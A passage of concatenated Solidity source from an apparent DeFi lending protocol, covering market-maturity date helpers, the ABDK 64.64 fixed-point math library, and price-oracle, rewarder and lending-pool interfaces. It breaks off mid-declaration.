if (index == 2) return 2 * Constants.QUARTER;
if (index == 3) return Constants.YEAR;
if (index == 4) return 2 * Constants.YEAR;
if (index == 5) return 5 * Constants.YEAR;
if (index == 6) return 10 * Constants.YEAR;
if (index == 7) return 20 * Constants.YEAR;
revert("Invalid index");
}
/// @notice Determines if the maturity falls on one of the valid on chain market dates.
function isValidMarketMaturity(
uint256 maxMarketIndex,
uint256 maturity,
uint256 blockTime
) internal pure returns (bool) {
require(maxMarketIndex > 0, "CG: no markets listed");
require(maxMarketIndex <= Constants.MAX_TRADED_MARKET_INDEX, "CG: market index bound");
if (maturity % Constants.QUARTER != 0) return false;
uint256 tRef = DateTime.getReferenceTime(blockTime);
for (uint256 i = 1; i <= maxMarketIndex; i++) {
if (maturity == tRef.add(DateTime.getTradedMarket(i))) return true;
}
return false;
}
/// @notice Determines if an idiosyncratic maturity is valid and returns the bit reference that is the case.
function isValidMaturity(
uint256 maxMarketIndex,
uint256 maturity,
uint256 blockTime
) internal pure returns (bool) {
uint256 tRef = DateTime.getReferenceTime(blockTime);
uint256 maxMaturity = tRef.add(DateTime.getTradedMarket(maxMarketIndex));
// Cannot trade past max maturity
if (maturity > maxMaturity) return false;
// prettier-ignore
(/* */, bool isValid) = DateTime.getBitNumFromMaturity(blockTime, maturity);
return isValid;
}
/// @notice Returns the market index for a given maturity, if the maturity is idiosyncratic
/// will return the nearest market index that is larger than the maturity.
/// @return uint marketIndex, bool isIdiosyncratic
function getMarketIndex(
uint256 maxMarketIndex,
uint256 maturity,
uint256 blockTime
) internal pure returns (uint256, bool) {
require(maxMarketIndex > 0, "CG: no markets listed");
require(maxMarketIndex <= Constants.MAX_TRADED_MARKET_INDEX, "CG: market index bound");
uint256 tRef = DateTime.getReferenceTime(blockTime);
for (uint256 i = 1; i <= maxMarketIndex; i++) {
uint256 marketMaturity = tRef.add(DateTime.getTradedMarket(i));
// If market matches then is not idiosyncratic
if (marketMaturity == maturity) return (i, false);
// Returns the market that is immediately greater than the maturity
if (marketMaturity > maturity) return (i, true);
}
revert("CG: no market found");
}
/// @notice Given a bit number and the reference time of the first bit, returns the bit number
/// of a given maturity.
/// @return bitNum and a true or false if the maturity falls on the exact bit
function getBitNumFromMaturity(uint256 blockTime, uint256 maturity)
internal
pure
returns (uint256, bool)
{
uint256 blockTimeUTC0 = getTimeUTC0(blockTime);
// Maturities must always divide days evenly
if (maturity % Constants.DAY != 0) return (0, false);
// Maturity cannot be in the past
if (blockTimeUTC0 >= maturity) return (0, false);
// Overflow check done above
// daysOffset has no remainders, checked above
uint256 daysOffset = (maturity - blockTimeUTC0) / Constants.DAY;
// These if statements need to fall through to the next one
if (daysOffset <= Constants.MAX_DAY_OFFSET) {
return (daysOffset, true);
} else if (daysOffset <= Constants.MAX_WEEK_OFFSET) {
// (daysOffset - MAX_DAY_OFFSET) is the days overflow into the week portion, must be > 0
// (blockTimeUTC0 % WEEK) / DAY is the offset into the week portion
// This returns the offset from the previous max offset in days
uint256 offsetInDays =
daysOffset -
Constants.MAX_DAY_OFFSET +
(blockTimeUTC0 % Constants.WEEK) /
Constants.DAY;
return (
// This converts the offset in days to its corresponding bit position, truncating down
// if it does not divide evenly into DAYS_IN_WEEK
Constants.WEEK_BIT_OFFSET + offsetInDays / Constants.DAYS_IN_WEEK,
(offsetInDays % Constants.DAYS_IN_WEEK) == 0
);
} else if (daysOffset <= Constants.MAX_MONTH_OFFSET) {
uint256 offsetInDays =
daysOffset -
Constants.MAX_WEEK_OFFSET +
(blockTimeUTC0 % Constants.MONTH) /
Constants.DAY;
return (
Constants.MONTH_BIT_OFFSET + offsetInDays / Constants.DAYS_IN_MONTH,
(offsetInDays % Constants.DAYS_IN_MONTH) == 0
);
} else if (daysOffset <= Constants.MAX_QUARTER_OFFSET) {
uint256 offsetInDays =
daysOffset -
Constants.MAX_MONTH_OFFSET +
(blockTimeUTC0 % Constants.QUARTER) /
Constants.DAY;
return (
Constants.QUARTER_BIT_OFFSET + offsetInDays / Constants.DAYS_IN_QUARTER,
(offsetInDays % Constants.DAYS_IN_QUARTER) == 0
);
}
// This is the maximum 1-indexed bit num, it is never valid because it is beyond the 20
// year max maturity
return (256, false);
}
/// @notice Given a bit number and a block time returns the maturity that the bit number
/// should reference. Bit numbers are one indexed.
function getMaturityFromBitNum(uint256 blockTime, uint256 bitNum)
internal
pure
returns (uint256)
{
require(bitNum != 0); // dev: cash group get maturity from bit num is zero
require(bitNum <= 256); // dev: cash group get maturity from bit num overflow
uint256 blockTimeUTC0 = getTimeUTC0(blockTime);
uint256 firstBit;
if (bitNum <= Constants.WEEK_BIT_OFFSET) {
return blockTimeUTC0 + bitNum * Constants.DAY;
} else if (bitNum <= Constants.MONTH_BIT_OFFSET) {
firstBit =
blockTimeUTC0 +
Constants.MAX_DAY_OFFSET * Constants.DAY -
// This backs up to the day that is divisible by a week
(blockTimeUTC0 % Constants.WEEK);
return firstBit + (bitNum - Constants.WEEK_BIT_OFFSET) * Constants.WEEK;
} else if (bitNum <= Constants.QUARTER_BIT_OFFSET) {
firstBit =
blockTimeUTC0 +
Constants.MAX_WEEK_OFFSET * Constants.DAY -
(blockTimeUTC0 % Constants.MONTH);
return firstBit + (bitNum - Constants.MONTH_BIT_OFFSET) * Constants.MONTH;
} else {
firstBit =
blockTimeUTC0 +
Constants.MAX_MONTH_OFFSET * Constants.DAY -
(blockTimeUTC0 % Constants.QUARTER);
return firstBit + (bitNum - Constants.QUARTER_BIT_OFFSET) * Constants.QUARTER;
}
}
}
// SPDX-License-Identifier: BSD-4-Clause
/*
* ABDK Math 64.64 Smart Contract Library. Copyright © 2019 by ABDK Consulting.
* Author: Mikhail Vladimirov <[email protected]>
*/
pragma solidity ^0.5.0 || ^0.6.0 || ^0.7.0;
/**
* Smart contract library of mathematical functions operating with signed
* 64.64-bit fixed point numbers. Signed 64.64-bit fixed point number is
* basically a simple fraction whose numerator is signed 128-bit integer and
* denominator is 2^64. As long as denominator is always the same, there is no
* need to store it, thus in Solidity signed 64.64-bit fixed point numbers are
* represented by int128 type holding only the numerator.
*/
library ABDKMath64x64 {
/*
* Minimum value signed 64.64-bit fixed point number may have.
*/
int128 private constant MIN_64x64 = -0x80000000000000000000000000000000;
/*
* Maximum value signed 64.64-bit fixed point number may have.
*/
int128 private constant MAX_64x64 = 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;
/**
* Convert signed 256-bit integer number into signed 64.64-bit fixed point
* number. Revert on overflow.
*
* @param x signed 256-bit integer number
* @return signed 64.64-bit fixed point number
*/
function fromInt (int256 x) internal pure returns (int128) {
require (x >= -0x8000000000000000 && x <= 0x7FFFFFFFFFFFFFFF);
return int128 (x << 64);
}
/**
* Convert signed 64.64 fixed point number into signed 64-bit integer number
* rounding down.
*
* @param x signed 64.64-bit fixed point number
* @return signed 64-bit integer number
*/
function toInt (int128 x) internal pure returns (int64) {
return int64 (x >> 64);
}
/**
* Convert unsigned 256-bit integer number into signed 64.64-bit fixed point
* number. Revert on overflow.
*
* @param x unsigned 256-bit integer number
* @return signed 64.64-bit fixed point number
*/
function fromUInt (uint256 x) internal pure returns (int128) {
require (x <= 0x7FFFFFFFFFFFFFFF);
return int128 (x << 64);
}
/**
* Convert signed 64.64 fixed point number into unsigned 64-bit integer
* number rounding down. Revert on underflow.
*
* @param x signed 64.64-bit fixed point number
* @return unsigned 64-bit integer number
*/
function toUInt (int128 x) internal pure returns (uint64) {
require (x >= 0);
return uint64 (x >> 64);
}
/**
* Convert signed 128.128 fixed point number into signed 64.64-bit fixed point
* number rounding down. Revert on overflow.
*
* @param x signed 128.128-bin fixed point number
* @return signed 64.64-bit fixed point number
*/
function from128x128 (int256 x) internal pure returns (int128) {
int256 result = x >> 64;
require (result >= MIN_64x64 && result <= MAX_64x64);
return int128 (result);
}
/**
* Convert signed 64.64 fixed point number into signed 128.128 fixed point
* number.
*
* @param x signed 64.64-bit fixed point number
* @return signed 128.128 fixed point number
*/
function to128x128 (int128 x) internal pure returns (int256) {
return int256 (x) << 64;
}
/**
* Calculate x + y. Revert on overflow.
*
* @param x signed 64.64-bit fixed point number
* @param y signed 64.64-bit fixed point number
* @return signed 64.64-bit fixed point number
*/
function add (int128 x, int128 y) internal pure returns (int128) {
int256 result = int256(x) + y;
require (result >= MIN_64x64 && result <= MAX_64x64);
return int128 (result);
}
/**
* Calculate x - y. Revert on overflow.
*
* @param x signed 64.64-bit fixed point number
* @param y signed 64.64-bit fixed point number
* @return signed 64.64-bit fixed point number
*/
function sub (int128 x, int128 y) internal pure returns (int128) {
int256 result = int256(x) - y;
require (result >= MIN_64x64 && result <= MAX_64x64);
return int128 (result);
}
/**
* Calculate x * y rounding down. Revert on overflow.
*
* @param x signed 64.64-bit fixed point number
* @param y signed 64.64-bit fixed point number
* @return signed 64.64-bit fixed point number
*/
function mul (int128 x, int128 y) internal pure returns (int128) {
int256 result = int256(x) * y >> 64;
require (result >= MIN_64x64 && result <= MAX_64x64);
return int128 (result);
}
/**
* Calculate x * y rounding towards zero, where x is signed 64.64 fixed point
* number and y is signed 256-bit integer number. Revert on overflow.
*
* @param x signed 64.64 fixed point number
* @param y signed 256-bit integer number
* @return signed 256-bit integer number
*/
function muli (int128 x, int256 y) internal pure returns (int256) {
if (x == MIN_64x64) {
require (y >= -0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF &&
y <= 0x1000000000000000000000000000000000000000000000000);
return -y << 63;
} else {
bool negativeResult = false;
if (x < 0) {
x = -x;
negativeResult = true;
}
if (y < 0) {
y = -y; // We rely on overflow behavior here
negativeResult = !negativeResult;
}
uint256 absoluteResult = mulu (x, uint256 (y));
if (negativeResult) {
require (absoluteResult <=
0x8000000000000000000000000000000000000000000000000000000000000000);
return -int256 (absoluteResult); // We rely on overflow behavior here
} else {
require (absoluteResult <=
0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);
return int256 (absoluteResult);
}
}
}
/**
* Calculate x * y rounding down, where x is signed 64.64 fixed point number
* and y is unsigned 256-bit integer number. Revert on overflow.
*
* @param x signed 64.64 fixed point number
* @param y unsigned 256-bit integer number
* @return unsigned 256-bit integer number
*/
function mulu (int128 x, uint256 y) internal pure returns (uint256) {
if (y == 0) return 0;
require (x >= 0);
uint256 lo = (uint256 (x) * (y & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)) >> 64;
uint256 hi = uint256 (x) * (y >> 128);
require (hi <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);
hi <<= 64;
require (hi <=
0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF - lo);
return hi + lo;
}
/**
* Calculate x / y rounding towards zero. Revert on overflow or when y is
* zero.
*
* @param x signed 64.64-bit fixed point number
* @param y signed 64.64-bit fixed point number
* @return signed 64.64-bit fixed point number
*/
function div (int128 x, int128 y) internal pure returns (int128) {
require (y != 0);
int256 result = (int256 (x) << 64) / y;
require (result >= MIN_64x64 && result <= MAX_64x64);
return int128 (result);
}
/**
* Calculate x / y rounding towards zero, where x and y are signed 256-bit
* integer numbers. Revert on overflow or when y is zero.
*
* @param x signed 256-bit integer number
* @param y signed 256-bit integer number
* @return signed 64.64-bit fixed point number
*/
function divi (int256 x, int256 y) internal pure returns (int128) {
require (y != 0);
bool negativeResult = false;
if (x < 0) {
x = -x; // We rely on overflow behavior here
negativeResult = true;
}
if (y < 0) {
y = -y; // We rely on overflow behavior here
negativeResult = !negativeResult;
}
uint128 absoluteResult = divuu (uint256 (x), uint256 (y));
if (negativeResult) {
require (absoluteResult <= 0x80000000000000000000000000000000);
return -int128 (absoluteResult); // We rely on overflow behavior here
} else {
require (absoluteResult <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);
return int128 (absoluteResult); // We rely on overflow behavior here
}
}
/**
* Calculate x / y rounding towards zero, where x and y are unsigned 256-bit
* integer numbers. Revert on overflow or when y is zero.
*
* @param x unsigned 256-bit integer number
* @param y unsigned 256-bit integer number
* @return signed 64.64-bit fixed point number
*/
function divu (uint256 x, uint256 y) internal pure returns (int128) {
require (y != 0);
uint128 result = divuu (x, y);
require (result <= uint128 (MAX_64x64));
return int128 (result);
}
/**
* Calculate -x. Revert on overflow.
*
* @param x signed 64.64-bit fixed point number
* @return signed 64.64-bit fixed point number
*/
function neg (int128 x) internal pure returns (int128) {
require (x != MIN_64x64);
return -x;
}
/**
* Calculate |x|. Revert on overflow.
*
* @param x signed 64.64-bit fixed point number
* @return signed 64.64-bit fixed point number
*/
function abs (int128 x) internal pure returns (int128) {
require (x != MIN_64x64);
return x < 0 ? -x : x;
}
/**
* Calculate 1 / x rounding towards zero. Revert on overflow or when x is
* zero.
*
* @param x signed 64.64-bit fixed point number
* @return signed 64.64-bit fixed point number
*/
function inv (int128 x) internal pure returns (int128) {
require (x != 0);
int256 result = int256 (0x100000000000000000000000000000000) / x;
require (result >= MIN_64x64 && result <= MAX_64x64);
return int128 (result);
}
/**
* Calculate arithmetics average of x and y, i.e. (x + y) / 2 rounding down.
*
* @param x signed 64.64-bit fixed point number
* @param y signed 64.64-bit fixed point number
* @return signed 64.64-bit fixed point number
*/
function avg (int128 x, int128 y) internal pure returns (int128) {
return int128 ((int256 (x) + int256 (y)) >> 1);
}
/**
* Calculate geometric average of x and y, i.e. sqrt (x * y) rounding down.
* Revert on overflow or in case x * y is negative.
*
* @param x signed 64.64-bit fixed point number
* @param y signed 64.64-bit fixed point number
* @return signed 64.64-bit fixed point number
*/
function gavg (int128 x, int128 y) internal pure returns (int128) {
int256 m = int256 (x) * int256 (y);
require (m >= 0);
require (m <
0x4000000000000000000000000000000000000000000000000000000000000000);
return int128 (sqrtu (uint256 (m)));
}
/**
* Calculate x^y assuming 0^0 is 1, where x is signed 64.64 fixed point number
* and y is unsigned 256-bit integer number. Revert on overflow.
*
* @param x signed 64.64-bit fixed point number
* @param y uint256 value
* @return signed 64.64-bit fixed point number
*/
function pow (int128 x, uint256 y) internal pure returns (int128) {
bool negative = x < 0 && y & 1 == 1;
uint256 absX = uint128 (x < 0 ? -x : x);
uint256 absResult;
absResult = 0x100000000000000000000000000000000;
if (absX <= 0x10000000000000000) {
absX <<= 63;
while (y != 0) {
if (y & 0x1 != 0) {
absResult = absResult * absX >> 127;
}
absX = absX * absX >> 127;
if (y & 0x2 != 0) {
absResult = absResult * absX >> 127;
}
absX = absX * absX >> 127;
if (y & 0x4 != 0) {
absResult = absResult * absX >> 127;
}
absX = absX * absX >> 127;
if (y & 0x8 != 0) {
absResult = absResult * absX >> 127;
}
absX = absX * absX >> 127;
y >>= 4;
}
absResult >>= 64;
} else {
uint256 absXShift = 63;
if (absX < 0x1000000000000000000000000) { absX <<= 32; absXShift -= 32; }
if (absX < 0x10000000000000000000000000000) { absX <<= 16; absXShift -= 16; }
if (absX < 0x1000000000000000000000000000000) { absX <<= 8; absXShift -= 8; }
if (absX < 0x10000000000000000000000000000000) { absX <<= 4; absXShift -= 4; }
if (absX < 0x40000000000000000000000000000000) { absX <<= 2; absXShift -= 2; }
if (absX < 0x80000000000000000000000000000000) { absX <<= 1; absXShift -= 1; }
uint256 resultShift = 0;
while (y != 0) {
require (absXShift < 64);
if (y & 0x1 != 0) {
absResult = absResult * absX >> 127;
resultShift += absXShift;
if (absResult > 0x100000000000000000000000000000000) {
absResult >>= 1;
resultShift += 1;
}
}
absX = absX * absX >> 127;
absXShift <<= 1;
if (absX >= 0x100000000000000000000000000000000) {
absX >>= 1;
absXShift += 1;
}
y >>= 1;
}
require (resultShift < 64);
absResult >>= 64 - resultShift;
}
int256 result = negative ? -int256 (absResult) : int256 (absResult);
require (result >= MIN_64x64 && result <= MAX_64x64);
return int128 (result);
}
/**
* Calculate sqrt (x) rounding down. Revert if x < 0.
*
* @param x signed 64.64-bit fixed point number
* @return signed 64.64-bit fixed point number
*/
function sqrt (int128 x) internal pure returns (int128) {
require (x >= 0);
return int128 (sqrtu (uint256 (x) << 64));
}
/**
* Calculate binary logarithm of x. Revert if x <= 0.
*
* @param x signed 64.64-bit fixed point number
* @return signed 64.64-bit fixed point number
*/
function log_2 (int128 x) internal pure returns (int128) {
require (x > 0);
int256 msb = 0;
int256 xc = x;
if (xc >= 0x10000000000000000) { xc >>= 64; msb += 64; }
if (xc >= 0x100000000) { xc >>= 32; msb += 32; }
if (xc >= 0x10000) { xc >>= 16; msb += 16; }
if (xc >= 0x100) { xc >>= 8; msb += 8; }
if (xc >= 0x10) { xc >>= 4; msb += 4; }
if (xc >= 0x4) { xc >>= 2; msb += 2; }
if (xc >= 0x2) msb += 1; // No need to shift xc anymore
int256 result = msb - 64 << 64;
uint256 ux = uint256 (x) << uint256 (127 - msb);
for (int256 bit = 0x8000000000000000; bit > 0; bit >>= 1) {
ux *= ux;
uint256 b = ux >> 255;
ux >>= 127 + b;
result += bit * int256 (b);
}
return int128 (result);
}
/**
* Calculate natural logarithm of x. Revert if x <= 0.
*
* @param x signed 64.64-bit fixed point number
* @return signed 64.64-bit fixed point number
*/
function ln (int128 x) internal pure returns (int128) {
require (x > 0);
return int128 (
uint256 (log_2 (x)) * 0xB17217F7D1CF79ABC9E3B39803F2F6AF >> 128);
}
/**
* Calculate binary exponent of x. Revert on overflow.
*
* @param x signed 64.64-bit fixed point number
* @return signed 64.64-bit fixed point number
*/
function exp_2 (int128 x) internal pure returns (int128) {
require (x < 0x400000000000000000); // Overflow
if (x < -0x400000000000000000) return 0; // Underflow
uint256 result = 0x80000000000000000000000000000000;
if (x & 0x8000000000000000 > 0)
result = result * 0x16A09E667F3BCC908B2FB1366EA957D3E >> 128;
if (x & 0x4000000000000000 > 0)
result = result * 0x1306FE0A31B7152DE8D5A46305C85EDEC >> 128;
if (x & 0x2000000000000000 > 0)
result = result * 0x1172B83C7D517ADCDF7C8C50EB14A791F >> 128;
if (x & 0x1000000000000000 > 0)
result = result * 0x10B5586CF9890F6298B92B71842A98363 >> 128;
if (x & 0x800000000000000 > 0)
result = result * 0x1059B0D31585743AE7C548EB68CA417FD >> 128;
if (x & 0x400000000000000 > 0)
result = result * 0x102C9A3E778060EE6F7CACA4F7A29BDE8 >> 128;
if (x & 0x200000000000000 > 0)
result = result * 0x10163DA9FB33356D84A66AE336DCDFA3F >> 128;
if (x & 0x100000000000000 > 0)
result = result * 0x100B1AFA5ABCBED6129AB13EC11DC9543 >> 128;
if (x & 0x80000000000000 > 0)
result = result * 0x10058C86DA1C09EA1FF19D294CF2F679B >> 128;
if (x & 0x40000000000000 > 0)
result = result * 0x1002C605E2E8CEC506D21BFC89A23A00F >> 128;
if (x & 0x20000000000000 > 0)
result = result * 0x100162F3904051FA128BCA9C55C31E5DF >> 128;
if (x & 0x10000000000000 > 0)
result = result * 0x1000B175EFFDC76BA38E31671CA939725 >> 128;
if (x & 0x8000000000000 > 0)
result = result * 0x100058BA01FB9F96D6CACD4B180917C3D >> 128;
if (x & 0x4000000000000 > 0)
result = result * 0x10002C5CC37DA9491D0985C348C68E7B3 >> 128;
if (x & 0x2000000000000 > 0)
result = result * 0x1000162E525EE054754457D5995292026 >> 128;
if (x & 0x1000000000000 > 0)
result = result * 0x10000B17255775C040618BF4A4ADE83FC >> 128;
if (x & 0x800000000000 > 0)
result = result * 0x1000058B91B5BC9AE2EED81E9B7D4CFAB >> 128;
if (x & 0x400000000000 > 0)
result = result * 0x100002C5C89D5EC6CA4D7C8ACC017B7C9 >> 128;
if (x & 0x200000000000 > 0)
result = result * 0x10000162E43F4F831060E02D839A9D16D >> 128;
if (x & 0x100000000000 > 0)
result = result * 0x100000B1721BCFC99D9F890EA06911763 >> 128;
if (x & 0x80000000000 > 0)
result = result * 0x10000058B90CF1E6D97F9CA14DBCC1628 >> 128;
if (x & 0x40000000000 > 0)
result = result * 0x1000002C5C863B73F016468F6BAC5CA2B >> 128;
if (x & 0x20000000000 > 0)
result = result * 0x100000162E430E5A18F6119E3C02282A5 >> 128;
if (x & 0x10000000000 > 0)
result = result * 0x1000000B1721835514B86E6D96EFD1BFE >> 128;
if (x & 0x8000000000 > 0)
result = result * 0x100000058B90C0B48C6BE5DF846C5B2EF >> 128;
if (x & 0x4000000000 > 0)
result = result * 0x10000002C5C8601CC6B9E94213C72737A >> 128;
if (x & 0x2000000000 > 0)
result = result * 0x1000000162E42FFF037DF38AA2B219F06 >> 128;
if (x & 0x1000000000 > 0)
result = result * 0x10000000B17217FBA9C739AA5819F44F9 >> 128;
if (x & 0x800000000 > 0)
result = result * 0x1000000058B90BFCDEE5ACD3C1CEDC823 >> 128;
if (x & 0x400000000 > 0)
result = result * 0x100000002C5C85FE31F35A6A30DA1BE50 >> 128;
if (x & 0x200000000 > 0)
result = result * 0x10000000162E42FF0999CE3541B9FFFCF >> 128;
if (x & 0x100000000 > 0)
result = result * 0x100000000B17217F80F4EF5AADDA45554 >> 128;
if (x & 0x80000000 > 0)
result = result * 0x10000000058B90BFBF8479BD5A81B51AD >> 128;
if (x & 0x40000000 > 0)
result = result * 0x1000000002C5C85FDF84BD62AE30A74CC >> 128;
if (x & 0x20000000 > 0)
result = result * 0x100000000162E42FEFB2FED257559BDAA >> 128;
if (x & 0x10000000 > 0)
result = result * 0x1000000000B17217F7D5A7716BBA4A9AE >> 128;
if (x & 0x8000000 > 0)
result = result * 0x100000000058B90BFBE9DDBAC5E109CCE >> 128;
if (x & 0x4000000 > 0)
result = result * 0x10000000002C5C85FDF4B15DE6F17EB0D >> 128;
if (x & 0x2000000 > 0)
result = result * 0x1000000000162E42FEFA494F1478FDE05 >> 128;
if (x & 0x1000000 > 0)
result = result * 0x10000000000B17217F7D20CF927C8E94C >> 128;
if (x & 0x800000 > 0)
result = result * 0x1000000000058B90BFBE8F71CB4E4B33D >> 128;
if (x & 0x400000 > 0)
result = result * 0x100000000002C5C85FDF477B662B26945 >> 128;
if (x & 0x200000 > 0)
result = result * 0x10000000000162E42FEFA3AE53369388C >> 128;
if (x & 0x100000 > 0)
result = result * 0x100000000000B17217F7D1D351A389D40 >> 128;
if (x & 0x80000 > 0)
result = result * 0x10000000000058B90BFBE8E8B2D3D4EDE >> 128;
if (x & 0x40000 > 0)
result = result * 0x1000000000002C5C85FDF4741BEA6E77E >> 128;
if (x & 0x20000 > 0)
result = result * 0x100000000000162E42FEFA39FE95583C2 >> 128;
if (x & 0x10000 > 0)
result = result * 0x1000000000000B17217F7D1CFB72B45E1 >> 128;
if (x & 0x8000 > 0)
result = result * 0x100000000000058B90BFBE8E7CC35C3F0 >> 128;
if (x & 0x4000 > 0)
result = result * 0x10000000000002C5C85FDF473E242EA38 >> 128;
if (x & 0x2000 > 0)
result = result * 0x1000000000000162E42FEFA39F02B772C >> 128;
if (x & 0x1000 > 0)
result = result * 0x10000000000000B17217F7D1CF7D83C1A >> 128;
if (x & 0x800 > 0)
result = result * 0x1000000000000058B90BFBE8E7BDCBE2E >> 128;
if (x & 0x400 > 0)
result = result * 0x100000000000002C5C85FDF473DEA871F >> 128;
if (x & 0x200 > 0)
result = result * 0x10000000000000162E42FEFA39EF44D91 >> 128;
if (x & 0x100 > 0)
result = result * 0x100000000000000B17217F7D1CF79E949 >> 128;
if (x & 0x80 > 0)
result = result * 0x10000000000000058B90BFBE8E7BCE544 >> 128;
if (x & 0x40 > 0)
result = result * 0x1000000000000002C5C85FDF473DE6ECA >> 128;
if (x & 0x20 > 0)
result = result * 0x100000000000000162E42FEFA39EF366F >> 128;
if (x & 0x10 > 0)
result = result * 0x1000000000000000B17217F7D1CF79AFA >> 128;
if (x & 0x8 > 0)
result = result * 0x100000000000000058B90BFBE8E7BCD6D >> 128;
if (x & 0x4 > 0)
result = result * 0x10000000000000002C5C85FDF473DE6B2 >> 128;
if (x & 0x2 > 0)
result = result * 0x1000000000000000162E42FEFA39EF358 >> 128;
if (x & 0x1 > 0)
result = result * 0x10000000000000000B17217F7D1CF79AB >> 128;
result >>= uint256 (63 - (x >> 64));
require (result <= uint256 (MAX_64x64));
return int128 (result);
}
/**
* Calculate natural exponent of x. Revert on overflow.
*
* @param x signed 64.64-bit fixed point number
* @return signed 64.64-bit fixed point number
*/
function exp (int128 x) internal pure returns (int128) {
require (x < 0x400000000000000000); // Overflow
if (x < -0x400000000000000000) return 0; // Underflow
return exp_2 (
int128 (int256 (x) * 0x171547652B82FE1777D0FFDA0D23A7D12 >> 128));
}
/**
* Calculate x / y rounding towards zero, where x and y are unsigned 256-bit
* integer numbers. Revert on overflow or when y is zero.
*
* @param x unsigned 256-bit integer number
* @param y unsigned 256-bit integer number
* @return unsigned 64.64-bit fixed point number
*/
function divuu (uint256 x, uint256 y) private pure returns (uint128) {
require (y != 0);
uint256 result;
if (x <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)
result = (x << 64) / y;
else {
uint256 msb = 192;
uint256 xc = x >> 192;
if (xc >= 0x100000000) { xc >>= 32; msb += 32; }
if (xc >= 0x10000) { xc >>= 16; msb += 16; }
if (xc >= 0x100) { xc >>= 8; msb += 8; }
if (xc >= 0x10) { xc >>= 4; msb += 4; }
if (xc >= 0x4) { xc >>= 2; msb += 2; }
if (xc >= 0x2) msb += 1; // No need to shift xc anymore
result = (x << 255 - msb) / ((y - 1 >> msb - 191) + 1);
require (result <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);
uint256 hi = result * (y >> 128);
uint256 lo = result * (y & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);
uint256 xh = x >> 192;
uint256 xl = x << 64;
if (xl < lo) xh -= 1;
xl -= lo; // We rely on overflow behavior here
lo = hi << 128;
if (xl < lo) xh -= 1;
xl -= lo; // We rely on overflow behavior here
assert (xh == hi >> 128);
result += xl / y;
}
require (result <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);
return uint128 (result);
}
/**
* Calculate sqrt (x) rounding down, where x is unsigned 256-bit integer
* number.
*
* @param x unsigned 256-bit integer number
* @return unsigned 128-bit integer number
*/
function sqrtu (uint256 x) private pure returns (uint128) {
if (x == 0) return 0;
else {
uint256 xx = x;
uint256 r = 1;
if (xx >= 0x100000000000000000000000000000000) { xx >>= 128; r <<= 64; }
if (xx >= 0x10000000000000000) { xx >>= 64; r <<= 32; }
if (xx >= 0x100000000) { xx >>= 32; r <<= 16; }
if (xx >= 0x10000) { xx >>= 16; r <<= 8; }
if (xx >= 0x100) { xx >>= 8; r <<= 4; }
if (xx >= 0x10) { xx >>= 4; r <<= 2; }
if (xx >= 0x8) { r <<= 1; }
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1; // Seven iterations should be enough
uint256 r1 = x / r;
return uint128 (r < r1 ? r : r1);
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0;
import "./AggregatorInterface.sol";
import "./AggregatorV3Interface.sol";
interface AggregatorV2V3Interface is AggregatorInterface, AggregatorV3Interface
{
}
// SPDX-License-Identifier: GPL-v3
pragma solidity >=0.7.0;
/// @notice Used as a wrapper for tokens that are interest bearing for an
/// underlying token. Follows the cToken interface, however, can be adapted
/// for other interest bearing tokens.
interface AssetRateAdapter {
function token() external view returns (address);
function decimals() external view returns (uint8);
function description() external view returns (string memory);
function version() external view returns (uint256);
function underlying() external view returns (address);
function getExchangeRateStateful() external returns (int256);
function getExchangeRateView() external view returns (int256);
function getAnnualizedSupplyRate() external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0;
interface AggregatorInterface {
function latestAnswer() external view returns (int256);
function latestTimestamp() external view returns (uint256);
function latestRound() external view returns (uint256);
function getAnswer(uint256 roundId) external view returns (int256);
function getTimestamp(uint256 roundId) external view returns (uint256);
event AnswerUpdated(int256 indexed current, uint256 indexed roundId, uint256 updatedAt);
event NewRound(uint256 indexed roundId, address indexed startedBy, uint256 startedAt);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0;
interface AggregatorV3Interface {
function decimals() external view returns (uint8);
function description() external view returns (string memory);
function version() external view returns (uint256);
// getRoundData and latestRoundData should both raise "No data present"
// if they do not have data to report, instead of returning unset values
// which could be misinterpreted as actual reported values.
function getRoundData(uint80 _roundId)
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
function latestRoundData()
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
}
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.7.0;
interface IRewarder {
function claimRewards(
address account,
uint16 currencyId,
uint256 nTokenBalanceBefore,
uint256 nTokenBalanceAfter,
int256 netNTokenSupplyChange,
uint256 NOTETokensClaimed
) external;
}
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.7.0;
pragma abicoder v2;
struct LendingPoolStorage {
ILendingPool lendingPool;
}
interface ILendingPool {
/**
* @dev Deposits an `amount` of underlying asset into the reserve, receiving in return overlying aTokens.
* - E.g. User deposits 100 USDC and gets in return 100 aUSDC
* @param asset The address of the underlying asset to deposit
* @param amount The amount to be deposited
* @param onBehalfOf The address that will receive the aTokens, same as msg.sender if the user
* wants to receive them on his own wallet, or a different address if the beneficiary of aTokens
* is a different wallet
* @param referralCode Code used to register the integrator originating the operation, for potential rewards.
* 0 if the action is executed directly by the user, without any middle-man
**/
function deposit(
address asset,
uint256 amount,
address onBehalfOf,
uint16 referralCode
